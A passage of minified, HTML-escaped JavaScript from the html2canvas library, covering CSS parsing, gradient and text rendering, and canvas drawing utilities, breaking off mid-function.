(function(window,document,undefined){var _html2canvas={},previousElement,computedCSS,html2canvas;_html2canvas.Util={};_html2canvas.Util.log=function(a){if(_html2canvas.logging&amp;&amp;window.console&amp;&amp;window.console.log){window.console.log(a)}};_html2canvas.Util.trimText=(function(isNative){return function(input){return isNative?isNative.apply(input):((input||&quot;&quot;)+&quot;&quot;).replace(/^\s+|\s+$/g,&quot;&quot;)}})(String.prototype.trim);_html2canvas.Util.asFloat=function(v){return parseFloat(v)};(function(){var TEXT_SHADOW_PROPERTY=/((rgba|rgb)\([^\)]+\)(\s-?\d+px){0,})/g;var TEXT_SHADOW_VALUES=/(-?\d+px)|(#.+)|(rgb\(.+\))|(rgba\(.+\))/g;_html2canvas.Util.parseTextShadows=function(value){if(!value||value===&quot;none&quot;){return[]}var shadows=value.match(TEXT_SHADOW_PROPERTY),results=[];for(var i=0;shadows&amp;&amp;(i&lt;shadows.length);i++){var s=shadows[i].match(TEXT_SHADOW_VALUES);results.push({color:s[0],offsetX:s[1]?s[1].replace(&quot;px&quot;,&quot;&quot;):0,offsetY:s[2]?s[2].replace(&quot;px&quot;,&quot;&quot;):0,blur:s[3]?s[3].replace(&quot;px&quot;,&quot;&quot;):0})}return results}})();_html2canvas.Util.parseBackgroundImage=function(value){var whitespace=&quot; \r\n\t&quot;,method,definition,prefix,prefix_i,block,results=[],c,mode=0,numParen=0,quote,args;var appendResult=function(){if(method){if(definition.substr(0,1)===&#039;&quot;&#039;){definition=definition.substr(1,definition.length-2)}if(definition){args.push(definition)}if(method.substr(0,1)===&quot;-&quot;&amp;&amp;(prefix_i=method.indexOf(&quot;-&quot;,1)+1)&gt;0){prefix=method.substr(0,prefix_i);method=method.substr(prefix_i)}results.push({prefix:prefix,method:method.toLowerCase(),value:block,args:args})}args=[];method=prefix=definition=block=&quot;&quot;};appendResult();for(var i=0,ii=value.length;i&lt;ii;i++){c=value[i];if(mode===0&amp;&amp;whitespace.indexOf(c)&gt;-1){continue}switch(c){case&#039;&quot;&#039;:if(!quote){quote=c}else{if(quote===c){quote=null}}break;case&quot;(&quot;:if(quote){break}else{if(mode===0){mode=1;block+=c;continue}else{numParen++}}break;case&quot;)&quot;:if(quote){break}else{if(mode===1){if(numParen===0){mode=0;block+=c;appendResult();continue}else{numParen--}}}break;case&quot;,&quot;:if(quote){break}else{if(mode===0){appendResult();continue}else{if(mode===1){if(numParen===0&amp;&amp;!method.match(/^url$/i)){args.push(definition);definition=&quot;&quot;;block+=c;continue}}}}break}block+=c;if(mode===0){method+=c}else{definition+=c}}appendResult();return results};_html2canvas.Util.Bounds=function(element){var clientRect,bounds={};if(element.getBoundingClientRect){clientRect=element.getBoundingClientRect();bounds.top=clientRect.top;bounds.bottom=clientRect.bottom||(clientRect.top+clientRect.height);bounds.left=clientRect.left;bounds.width=element.offsetWidth;bounds.height=element.offsetHeight}return bounds};_html2canvas.Util.OffsetBounds=function(element){var parent=element.offsetParent?_html2canvas.Util.OffsetBounds(element.offsetParent):{top:0,left:0};return{top:element.offsetTop+parent.top,bottom:element.offsetTop+element.offsetHeight+parent.top,left:element.offsetLeft+parent.left,width:element.offsetWidth,height:element.offsetHeight}};function toPX(element,attribute,value){var rsLeft=element.runtimeStyle&amp;&amp;element.runtimeStyle[attribute],left,style=element.style;if(!/^-?[0-9]+\.?[0-9]*(?:px)?$/i.test(value)&amp;&amp;/^-?\d/.test(value)){left=style.left;if(rsLeft){element.runtimeStyle.left=element.currentStyle.left}style.left=attribute===&quot;fontSize&quot;?&quot;1em&quot;:(value||0);value=style.pixelLeft+&quot;px&quot;;style.left=left;if(rsLeft){element.runtimeStyle.left=rsLeft}}if(!/^(thin|medium|thick)$/i.test(value)){return Math.round(parseFloat(value))+&quot;px&quot;}return value}function asInt(val){return parseInt(val,10)}function parseBackgroundSizePosition(value,element,attribute,index){value=(value||&quot;&quot;).split(&quot;,&quot;);value=value[index||0]||value[0]||&quot;auto&quot;;value=_html2canvas.Util.trimText(value).split(&quot; &quot;);if(attribute===&quot;backgroundSize&quot;&amp;&amp;(!value[0]||value[0].match(/cover|contain|auto/))){}else{value[0]=(value[0].indexOf(&quot;%&quot;)===-1)?toPX(element,attribute+&quot;X&quot;,value[0]):value[0];if(value[1]===undefined){if(attribute===&quot;backgroundSize&quot;){value[1]=&quot;auto&quot;;return value}else{value[1]=value[0]}}value[1]=(value[1].indexOf(&quot;%&quot;)===-1)?toPX(element,attribute+&quot;Y&quot;,value[1]):value[1]}return value}_html2canvas.Util.getCSS=function(element,attribute,index){if(previousElement!==element){computedCSS=document.defaultView.getComputedStyle(element,null)}var value=computedCSS[attribute];if(/^background(Size|Position)$/.test(attribute)){return parseBackgroundSizePosition(value,element,attribute,index)}else{if(/border(Top|Bottom)(Left|Right)Radius/.test(attribute)){var arr=value.split(&quot; &quot;);if(arr.length&lt;=1){arr[1]=arr[0]}return arr.map(asInt)}}return value};_html2canvas.Util.resizeBounds=function(current_width,current_height,target_width,target_height,stretch_mode){var target_ratio=target_width/target_height,current_ratio=current_width/current_height,output_width,output_height;if(!stretch_mode||stretch_mode===&quot;auto&quot;){output_width=target_width;output_height=target_height}else{if(target_ratio&lt;current_ratio^stretch_mode===&quot;contain&quot;){output_height=target_height;output_width=target_height*current_ratio}else{output_width=target_width;
output_height=target_width/current_ratio}}return{width:output_width,height:output_height}};function backgroundBoundsFactory(prop,el,bounds,image,imageIndex,backgroundSize){var bgposition=_html2canvas.Util.getCSS(el,prop,imageIndex),topPos,left,percentage,val;if(bgposition.length===1){val=bgposition[0];bgposition=[];bgposition[0]=val;bgposition[1]=val}if(bgposition[0].toString().indexOf(&quot;%&quot;)!==-1){percentage=(parseFloat(bgposition[0])/100);left=bounds.width*percentage;if(prop!==&quot;backgroundSize&quot;){left-=(backgroundSize||image).width*percentage}}else{if(prop===&quot;backgroundSize&quot;){if(bgposition[0]===&quot;auto&quot;){left=image.width}else{if(/contain|cover/.test(bgposition[0])){var resized=_html2canvas.Util.resizeBounds(image.width,image.height,bounds.width,bounds.height,bgposition[0]);left=resized.width;topPos=resized.height}else{left=parseInt(bgposition[0],10)}}}else{left=parseInt(bgposition[0],10)}}if(bgposition[1]===&quot;auto&quot;){topPos=left/image.width*image.height}else{if(bgposition[1].toString().indexOf(&quot;%&quot;)!==-1){percentage=(parseFloat(bgposition[1])/100);topPos=bounds.height*percentage;if(prop!==&quot;backgroundSize&quot;){topPos-=(backgroundSize||image).height*percentage}}else{topPos=parseInt(bgposition[1],10)}}return[left,topPos]}_html2canvas.Util.BackgroundPosition=function(el,bounds,image,imageIndex,backgroundSize){var result=backgroundBoundsFactory(&quot;backgroundPosition&quot;,el,bounds,image,imageIndex,backgroundSize);return{left:result[0],top:result[1]}};_html2canvas.Util.BackgroundSize=function(el,bounds,image,imageIndex){var result=backgroundBoundsFactory(&quot;backgroundSize&quot;,el,bounds,image,imageIndex);return{width:result[0],height:result[1]}};_html2canvas.Util.Extend=function(options,defaults){for(var key in options){if(options.hasOwnProperty(key)){defaults[key]=options[key]}}return defaults};_html2canvas.Util.Children=function(elem){var children;try{children=(elem.nodeName&amp;&amp;elem.nodeName.toUpperCase()===&quot;IFRAME&quot;)?elem.contentDocument||elem.contentWindow.document:(function(array){var ret=[];if(array!==null){(function(first,second){var i=first.length,j=0;if(typeof second.length===&quot;number&quot;){for(var l=second.length;j&lt;l;j++){first[i++]=second[j]}}else{while(second[j]!==undefined){first[i++]=second[j++]}}first.length=i;return first})(ret,array)}return ret})(elem.childNodes)}catch(ex){_html2canvas.Util.log(&quot;html2canvas.Util.Children failed with exception: &quot;+ex.message);children=[]}return children};_html2canvas.Util.isTransparent=function(backgroundColor){return(backgroundColor===&quot;transparent&quot;||backgroundColor===&quot;rgba(0, 0, 0, 0)&quot;)};_html2canvas.Util.Font=(function(){var fontData={};return function(font,fontSize,doc){if(fontData[font+&quot;-&quot;+fontSize]!==undefined){return fontData[font+&quot;-&quot;+fontSize]}var container=doc.createElement(&quot;div&quot;),img=doc.createElement(&quot;img&quot;),span=doc.createElement(&quot;span&quot;),sampleText=&quot;Hidden Text&quot;,baseline,middle,metricsObj;container.style.visibility=&quot;hidden&quot;;container.style.fontFamily=font;container.style.fontSize=fontSize;container.style.margin=0;container.style.padding=0;doc.body.appendChild(container);img.src=&quot;data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=&quot;;img.width=1;img.height=1;img.style.margin=0;img.style.padding=0;img.style.verticalAlign=&quot;baseline&quot;;span.style.fontFamily=font;span.style.fontSize=fontSize;span.style.margin=0;span.style.padding=0;span.appendChild(doc.createTextNode(sampleText));container.appendChild(span);container.appendChild(img);baseline=(img.offsetTop-span.offsetTop)+1;container.removeChild(span);container.appendChild(doc.createTextNode(sampleText));container.style.lineHeight=&quot;normal&quot;;img.style.verticalAlign=&quot;super&quot;;middle=(img.offsetTop-container.offsetTop)+1;metricsObj={baseline:baseline,lineWidth:1,middle:middle};fontData[font+&quot;-&quot;+fontSize]=metricsObj;doc.body.removeChild(container);return metricsObj}})();(function(){var Util=_html2canvas.Util,Generate={};_html2canvas.Generate=Generate;var reGradients=[/^(-webkit-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,/^(-o-linear-gradient)\(([a-z\s]+)([\w\d\.\s,%\(\)]+)\)$/,/^(-webkit-gradient)\((linear|radial),\s((?:\d{1,3}%?)\s(?:\d{1,3}%?),\s(?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)\-]+)\)$/,/^(-moz-linear-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?))([\w\d\.\s,%\(\)]+)\)$/,/^(-webkit-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z\-]+)([\w\d\.\s,%\(\)]+)\)$/,/^(-moz-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s?([a-z\-]*)([\w\d\.\s,%\(\)]+)\)$/,/^(-o-radial-gradient)\(((?:\d{1,3}%?)\s(?:\d{1,3}%?)),\s(\w+)\s([a-z\-]+)([\w\d\.\s,%\(\)]+)\)$/];Generate.parseGradient=function(css,bounds){var gradient,i,len=reGradients.length,m1,stop,m2,m2Len,step,m3,tl,tr,br,bl;for(i=0;i&lt;len;i+=1){m1=css.match(reGradients[i]);if(m1){break}}if(m1){switch(m1[1]){case&quot;-webkit-linear-gradient&quot;:case&quot;-o-linear-gradient&quot;:gradient={type:&quot;linear&quot;,x0:null,y0:null,x1:null,y1:null,colorStops:[]};m2=m1[2].match(/\w+/g);if(m2){m2Len=m2.length;for(i=0;i&lt;m2Len;i+=1){switch(m2[i]){case&quot;top&quot;:gradient.y0=0;gradient.y1=bounds.height;
break;case&quot;right&quot;:gradient.x0=bounds.width;gradient.x1=0;break;case&quot;bottom&quot;:gradient.y0=bounds.height;gradient.y1=0;break;case&quot;left&quot;:gradient.x0=0;gradient.x1=bounds.width;break}}}if(gradient.x0===null&amp;&amp;gradient.x1===null){gradient.x0=gradient.x1=bounds.width/2}if(gradient.y0===null&amp;&amp;gradient.y1===null){gradient.y0=gradient.y1=bounds.height/2}m2=m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]===&quot;%&quot;){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case&quot;-webkit-gradient&quot;:gradient={type:m1[2]===&quot;radial&quot;?&quot;circle&quot;:m1[2],x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[3].match(/(\d{1,3})%?\s(\d{1,3})%?,\s(\d{1,3})%?\s(\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=(m2[3]*bounds.width)/100;gradient.y1=(m2[4]*bounds.height)/100}m2=m1[4].match(/((?:from|to|color-stop)\((?:[0-9\.]+,\s)?(?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)\))+/g);if(m2){m2Len=m2.length;for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/(from|to|color-stop)\(([0-9\.]+)?(?:,\s)?((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\)/);stop=parseFloat(m3[2]);if(m3[1]===&quot;from&quot;){stop=0}if(m3[1]===&quot;to&quot;){stop=1}gradient.colorStops.push({color:m3[3],stop:stop})}}break;case&quot;-moz-linear-gradient&quot;:gradient={type:&quot;linear&quot;,x0:0,y0:0,x1:0,y1:0,colorStops:[]};m2=m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);if(m2){gradient.x0=(m2[1]*bounds.width)/100;gradient.y0=(m2[2]*bounds.height)/100;gradient.x1=bounds.width-gradient.x0;gradient.y1=bounds.height-gradient.y0}m2=m1[3].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}%)?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]){stop/=100}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break;case&quot;-webkit-radial-gradient&quot;:case&quot;-moz-radial-gradient&quot;:case&quot;-o-radial-gradient&quot;:gradient={type:&quot;circle&quot;,x0:0,y0:0,x1:bounds.width,y1:bounds.height,cx:0,cy:0,rx:0,ry:0,colorStops:[]};m2=m1[2].match(/(\d{1,3})%?\s(\d{1,3})%?/);if(m2){gradient.cx=(m2[1]*bounds.width)/100;gradient.cy=(m2[2]*bounds.height)/100}m2=m1[3].match(/\w+/);m3=m1[4].match(/[a-z\-]*/);if(m2&amp;&amp;m3){switch(m3[0]){case&quot;farthest-corner&quot;:case&quot;cover&quot;:case&quot;&quot;:tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.max(tl,tr,br,bl);break;case&quot;closest-corner&quot;:tl=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.cy,2));tr=Math.sqrt(Math.pow(gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));br=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.y1-gradient.cy,2));bl=Math.sqrt(Math.pow(gradient.x1-gradient.cx,2)+Math.pow(gradient.cy,2));gradient.rx=gradient.ry=Math.min(tl,tr,br,bl);break;case&quot;farthest-side&quot;:if(m2[0]===&quot;circle&quot;){gradient.rx=gradient.ry=Math.max(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.max(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.max(gradient.cy,gradient.y1-gradient.cy)}break;case&quot;closest-side&quot;:case&quot;contain&quot;:if(m2[0]===&quot;circle&quot;){gradient.rx=gradient.ry=Math.min(gradient.cx,gradient.cy,gradient.x1-gradient.cx,gradient.y1-gradient.cy)}else{gradient.type=m2[0];gradient.rx=Math.min(gradient.cx,gradient.x1-gradient.cx);gradient.ry=Math.min(gradient.cy,gradient.y1-gradient.cy)}break}}m2=m1[5].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\)(?:\s\d{1,3}(?:%|px))?)+/g);if(m2){m2Len=m2.length;step=1/Math.max(m2Len-1,1);for(i=0;i&lt;m2Len;i+=1){m3=m2[i].match(/((?:rgb|rgba)\(\d{1,3},\s\d{1,3},\s\d{1,3}(?:,\s[0-9\.]+)?\))\s*(\d{1,3})?(%|px)?/);if(m3[2]){stop=parseFloat(m3[2]);if(m3[3]===&quot;%&quot;){stop/=100}else{stop/=bounds.width}}else{stop=i*step}gradient.colorStops.push({color:m3[1],stop:stop})}}break}}return gradient};function addScrollStops(grad){return function(colorStop){try{grad.addColorStop(colorStop.stop,colorStop.color)}catch(e){Util.log([&quot;failed to add color stop: &quot;,e,&quot;; tried to add: &quot;,colorStop])}}}Generate.Gradient=function(src,bounds){if(bounds.width===0||bounds.height===0){return}var canvas=document.createElement(&quot;canvas&quot;),ctx=canvas.getContext(&quot;2d&quot;),gradient,grad;canvas.width=bounds.width;canvas.height=bounds.height;gradient=_html2canvas.Generate.parseGradient(src,bounds);if(gradient){switch(gradient.type){case&quot;linear&quot;:grad=ctx.createLinearGradient(gradient.x0,gradient.y0,gradient.x1,gradient.y1);
gradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case&quot;circle&quot;:grad=ctx.createRadialGradient(gradient.cx,gradient.cy,0,gradient.cx,gradient.cy,gradient.rx);gradient.colorStops.forEach(addScrollStops(grad));ctx.fillStyle=grad;ctx.fillRect(0,0,bounds.width,bounds.height);break;case&quot;ellipse&quot;:var canvasRadial=document.createElement(&quot;canvas&quot;),ctxRadial=canvasRadial.getContext(&quot;2d&quot;),ri=Math.max(gradient.rx,gradient.ry),di=ri*2;canvasRadial.width=canvasRadial.height=di;grad=ctxRadial.createRadialGradient(gradient.rx,gradient.ry,0,gradient.rx,gradient.ry,ri);gradient.colorStops.forEach(addScrollStops(grad));ctxRadial.fillStyle=grad;ctxRadial.fillRect(0,0,di,di);ctx.fillStyle=gradient.colorStops[gradient.colorStops.length-1].color;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.drawImage(canvasRadial,gradient.cx-gradient.rx,gradient.cy-gradient.ry,2*gradient.rx,2*gradient.ry);break}}return canvas};Generate.ListAlpha=function(number){var tmp=&quot;&quot;,modulus;do{modulus=number%26;tmp=String.fromCharCode((modulus)+64)+tmp;number=number/26}while((number*26)&gt;26);return tmp};Generate.ListRoman=function(number){var romanArray=[&quot;M&quot;,&quot;CM&quot;,&quot;D&quot;,&quot;CD&quot;,&quot;C&quot;,&quot;XC&quot;,&quot;L&quot;,&quot;XL&quot;,&quot;X&quot;,&quot;IX&quot;,&quot;V&quot;,&quot;IV&quot;,&quot;I&quot;],decimal=[1000,900,500,400,100,90,50,40,10,9,5,4,1],roman=&quot;&quot;,v,len=romanArray.length;if(number&lt;=0||number&gt;=4000){return number}for(v=0;v&lt;len;v+=1){while(number&gt;=decimal[v]){number-=decimal[v];roman+=romanArray[v]}}return roman}})();function h2cRenderContext(width,height){var storage=[];return{storage:storage,width:width,height:height,clip:function(){storage.push({type:&quot;function&quot;,name:&quot;clip&quot;,&quot;arguments&quot;:arguments})},translate:function(){storage.push({type:&quot;function&quot;,name:&quot;translate&quot;,&quot;arguments&quot;:arguments})},fill:function(){storage.push({type:&quot;function&quot;,name:&quot;fill&quot;,&quot;arguments&quot;:arguments})},save:function(){storage.push({type:&quot;function&quot;,name:&quot;save&quot;,&quot;arguments&quot;:arguments})},restore:function(){storage.push({type:&quot;function&quot;,name:&quot;restore&quot;,&quot;arguments&quot;:arguments})},fillRect:function(){storage.push({type:&quot;function&quot;,name:&quot;fillRect&quot;,&quot;arguments&quot;:arguments})},createPattern:function(){storage.push({type:&quot;function&quot;,name:&quot;createPattern&quot;,&quot;arguments&quot;:arguments})},drawShape:function(){var shape=[];storage.push({type:&quot;function&quot;,name:&quot;drawShape&quot;,&quot;arguments&quot;:shape});return{moveTo:function(){shape.push({name:&quot;moveTo&quot;,&quot;arguments&quot;:arguments})},lineTo:function(){shape.push({name:&quot;lineTo&quot;,&quot;arguments&quot;:arguments})},arcTo:function(){shape.push({name:&quot;arcTo&quot;,&quot;arguments&quot;:arguments})},bezierCurveTo:function(){shape.push({name:&quot;bezierCurveTo&quot;,&quot;arguments&quot;:arguments})},quadraticCurveTo:function(){shape.push({name:&quot;quadraticCurveTo&quot;,&quot;arguments&quot;:arguments})}}},drawImage:function(){storage.push({type:&quot;function&quot;,name:&quot;drawImage&quot;,&quot;arguments&quot;:arguments})},fillText:function(){storage.push({type:&quot;function&quot;,name:&quot;fillText&quot;,&quot;arguments&quot;:arguments})},setVariable:function(variable,value){storage.push({type:&quot;variable&quot;,name:variable,&quot;arguments&quot;:value});return value}}}_html2canvas.Parse=function(images,options){window.scroll(0,0);var element=((options.elements===undefined)?document.body:options.elements[0]),numDraws=0,doc=element.ownerDocument,Util=_html2canvas.Util,support=Util.Support(options,doc),ignoreElementsRegExp=new RegExp(&quot;(&quot;+options.ignoreElements+&quot;)&quot;),body=doc.body,getCSS=Util.getCSS,pseudoHide=&quot;___html2canvas___pseudoelement&quot;,hidePseudoElements=doc.createElement(&quot;style&quot;);hidePseudoElements.innerHTML=&quot;.&quot;+pseudoHide+&#039;-before:before { content: &quot;&quot; !important; display: none !important; }&#039;+&quot;.&quot;+pseudoHide+&#039;-after:after { content: &quot;&quot; !important; display: none !important; }&#039;;body.appendChild(hidePseudoElements);images=images||{};function documentWidth(){return Math.max(Math.max(doc.body.scrollWidth,doc.documentElement.scrollWidth),Math.max(doc.body.offsetWidth,doc.documentElement.offsetWidth),Math.max(doc.body.clientWidth,doc.documentElement.clientWidth))}function documentHeight(){return Math.max(Math.max(doc.body.scrollHeight,doc.documentElement.scrollHeight),Math.max(doc.body.offsetHeight,doc.documentElement.offsetHeight),Math.max(doc.body.clientHeight,doc.documentElement.clientHeight))}function getCSSInt(element,attribute){var val=parseInt(getCSS(element,attribute),10);return(isNaN(val))?0:val}function renderRect(ctx,x,y,w,h,bgcolor){if(bgcolor!==&quot;transparent&quot;){ctx.setVariable(&quot;fillStyle&quot;,bgcolor);ctx.fillRect(x,y,w,h);numDraws+=1}}function capitalize(m,p1,p2){if(m.length&gt;0){return p1+p2.toUpperCase()}}function textTransform(text,transform){switch(transform){case&quot;lowercase&quot;:return text.toLowerCase();case&quot;capitalize&quot;:return text.replace(/(^|\s|:|-|\(|\))([a-z])/g,capitalize);case&quot;uppercase&quot;:return text.toUpperCase();default:return text}}function noLetterSpacing(letter_spacing){return(/^(normal|none|0px)$/.test(letter_spacing))}function drawText(currentText,x,y,ctx){if(currentText!==null&amp;&amp;Util.trimText(currentText).length&gt;0){ctx.fillText(currentText,x,y);numDraws+=1}}function setTextVariables(ctx,el,text_decoration,color){var align=false,bold=getCSS(el,&quot;fontWeight&quot;),family=getCSS(el,&quot;fontFamily&quot;),size=getCSS(el,&quot;fontSize&quot;),shadows=Util.parseTextShadows(getCSS(el,&quot;textShadow&quot;));
switch(parseInt(bold,10)){case 401:bold=&quot;bold&quot;;break;case 400:bold=&quot;normal&quot;;break}ctx.setVariable(&quot;fillStyle&quot;,color);ctx.setVariable(&quot;font&quot;,[getCSS(el,&quot;fontStyle&quot;),getCSS(el,&quot;fontVariant&quot;),bold,size,family].join(&quot; &quot;));ctx.setVariable(&quot;textAlign&quot;,(align)?&quot;right&quot;:&quot;left&quot;);if(shadows.length){ctx.setVariable(&quot;shadowColor&quot;,shadows[0].color);ctx.setVariable(&quot;shadowOffsetX&quot;,shadows[0].offsetX);ctx.setVariable(&quot;shadowOffsetY&quot;,shadows[0].offsetY);ctx.setVariable(&quot;shadowBlur&quot;,shadows[0].blur)}if(text_decoration!==&quot;none&quot;){return Util.Font(family,size,doc)}}function renderTextDecoration(ctx,text_decoration,bounds,metrics,color){switch(text_decoration){case&quot;underline&quot;:renderRect(ctx,bounds.left,Math.round(bounds.top+metrics.baseline+metrics.lineWidth),bounds.width,1,color);break;case&quot;overline&quot;:renderRect(ctx,bounds.left,Math.round(bounds.top),bounds.width,1,color);break;case&quot;line-through&quot;:renderRect(ctx,bounds.left,Math.ceil(bounds.top+metrics.middle+metrics.lineWidth),bounds.width,1,color);break}}function getTextBounds(state,text,textDecoration,isLast,transform){var bounds;if(support.rangeBounds&amp;&amp;!transform){if(textDecoration!==&quot;none&quot;||Util.trimText(text).length!==0){bounds=textRangeBounds(text,state.node,state.textOffset)}state.textOffset+=text.length}else{if(state.node&amp;&amp;typeof state.node.nodeValue===&quot;string&quot;){var newTextNode=(isLast)?state.node.splitText(text.length):null;bounds=textWrapperBounds(state.node,transform);state.node=newTextNode}}return bounds}function textRangeBounds(text,textNode,textOffset){var range=doc.createRange();range.setStart(textNode,textOffset);range.setEnd(textNode,textOffset+text.length);return range.getBoundingClientRect()}function textWrapperBounds(oldTextNode,transform){var parent=oldTextNode.parentNode,wrapElement=doc.createElement(&quot;wrapper&quot;),backupText=oldTextNode.cloneNode(true);wrapElement.appendChild(oldTextNode.cloneNode(true));parent.replaceChild(wrapElement,oldTextNode);var bounds=transform?Util.OffsetBounds(wrapElement):Util.Bounds(wrapElement);parent.replaceChild(backupText,wrapElement);return bounds}function renderText(el,textNode,stack){var ctx=stack.ctx,color=getCSS(el,&quot;color&quot;),textDecoration=getCSS(el,&quot;textDecoration&quot;),textAlign=getCSS(el,&quot;textAlign&quot;),metrics,textList,state={node:textNode,textOffset:0};if(Util.trimText(textNode.nodeValue).length&gt;0){textNode.nodeValue=textTransform(textNode.nodeValue,getCSS(el,&quot;textTransform&quot;));textAlign=textAlign.replace([&quot;-webkit-auto&quot;],[&quot;auto&quot;]);textList=(!options.letterRendering&amp;&amp;/^(left|right|justify|auto)$/.test(textAlign)&amp;&amp;noLetterSpacing(getCSS(el,&quot;letterSpacing&quot;)))?textNode.nodeValue.split(/(\b| )/):textNode.nodeValue.split(&quot;&quot;);metrics=setTextVariables(ctx,el,textDecoration,color);if(options.chinese){textList.forEach(function(word,index){if(/.*[\u4E00-\u9FA5].*$/.test(word)){word=word.split(&quot;&quot;);word.unshift(index,1);textList.splice.apply(textList,word)}})}textList.forEach(function(text,index){var bounds=getTextBounds(state,text,textDecoration,(index&lt;textList.length-1),stack.transform.matrix);if(bounds){drawText(text,bounds.left,bounds.bottom,ctx);renderTextDecoration(ctx,textDecoration,bounds,metrics,color)}})}}function listPosition(element,val){var boundElement=doc.createElement(&quot;boundelement&quot;),originalType,bounds;boundElement.style.display=&quot;inline&quot;;originalType=element.style.listStyleType;element.style.listStyleType=&quot;none&quot;;boundElement.appendChild(doc.createTextNode(val));element.insertBefore(boundElement,element.firstChild);bounds=Util.Bounds(boundElement);element.removeChild(boundElement);element.style.listStyleType=originalType;return bounds}function elementIndex(el){var i=-1,count=1,childs=el.parentNode.childNodes;if(el.parentNode){while(childs[++i]!==el){if(childs[i].nodeType===1){count++}}return count}else{return -1}}function listItemText(element,type){var currentIndex=elementIndex(element),text;switch(type){case&quot;decimal&quot;:text=currentIndex;break;case&quot;decimal-leading-zero&quot;:text=(currentIndex.toString().length===1)?currentIndex=&quot;0&quot;+currentIndex.toString():currentIndex.toString();break;case&quot;upper-roman&quot;:text=_html2canvas.Generate.ListRoman(currentIndex);break;case&quot;lower-roman&quot;:text=_html2canvas.Generate.ListRoman(currentIndex).toLowerCase();break;case&quot;lower-alpha&quot;:text=_html2canvas.Generate.ListAlpha(currentIndex).toLowerCase();break;case&quot;upper-alpha&quot;:text=_html2canvas.Generate.ListAlpha(currentIndex);break}return text+&quot;. &quot;}function renderListItem(element,stack,elBounds){var x,text,ctx=stack.ctx,type=getCSS(element,&quot;listStyleType&quot;),listBounds;if(/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)){text=listItemText(element,type);listBounds=listPosition(element,text);setTextVariables(ctx,element,&quot;none&quot;,getCSS(element,&quot;color&quot;));if(getCSS(element,&quot;listStylePosition&quot;)===&quot;inside&quot;){ctx.setVariable(&quot;textAlign&quot;,&quot;left&quot;);x=elBounds.left}else{return}drawText(text,x,listBounds.bottom,ctx)}}function loadImage(src){var img=images[src];return(img&amp;&amp;img.succeeded===true)?img.img:false
}function clipBounds(src,dst){var x=Math.max(src.left,dst.left),y=Math.max(src.top,dst.top),x2=Math.min((src.left+src.width),(dst.left+dst.width)),y2=Math.min((src.top+src.height),(dst.top+dst.height));return{left:x,top:y,width:x2-x,height:y2-y}}function setZ(element,stack,parentStack){var newContext,isPositioned=stack.cssPosition!==&quot;static&quot;,zIndex=isPositioned?getCSS(element,&quot;zIndex&quot;):&quot;auto&quot;,opacity=getCSS(element,&quot;opacity&quot;),isFloated=getCSS(element,&quot;cssFloat&quot;)!==&quot;none&quot;;stack.zIndex=newContext=h2czContext(zIndex);newContext.isPositioned=isPositioned;newContext.isFloated=isFloated;newContext.opacity=opacity;newContext.ownStacking=(zIndex!==&quot;auto&quot;||opacity&lt;1);if(parentStack){parentStack.zIndex.children.push(stack)}}function renderImage(ctx,element,image,bounds,borders){var 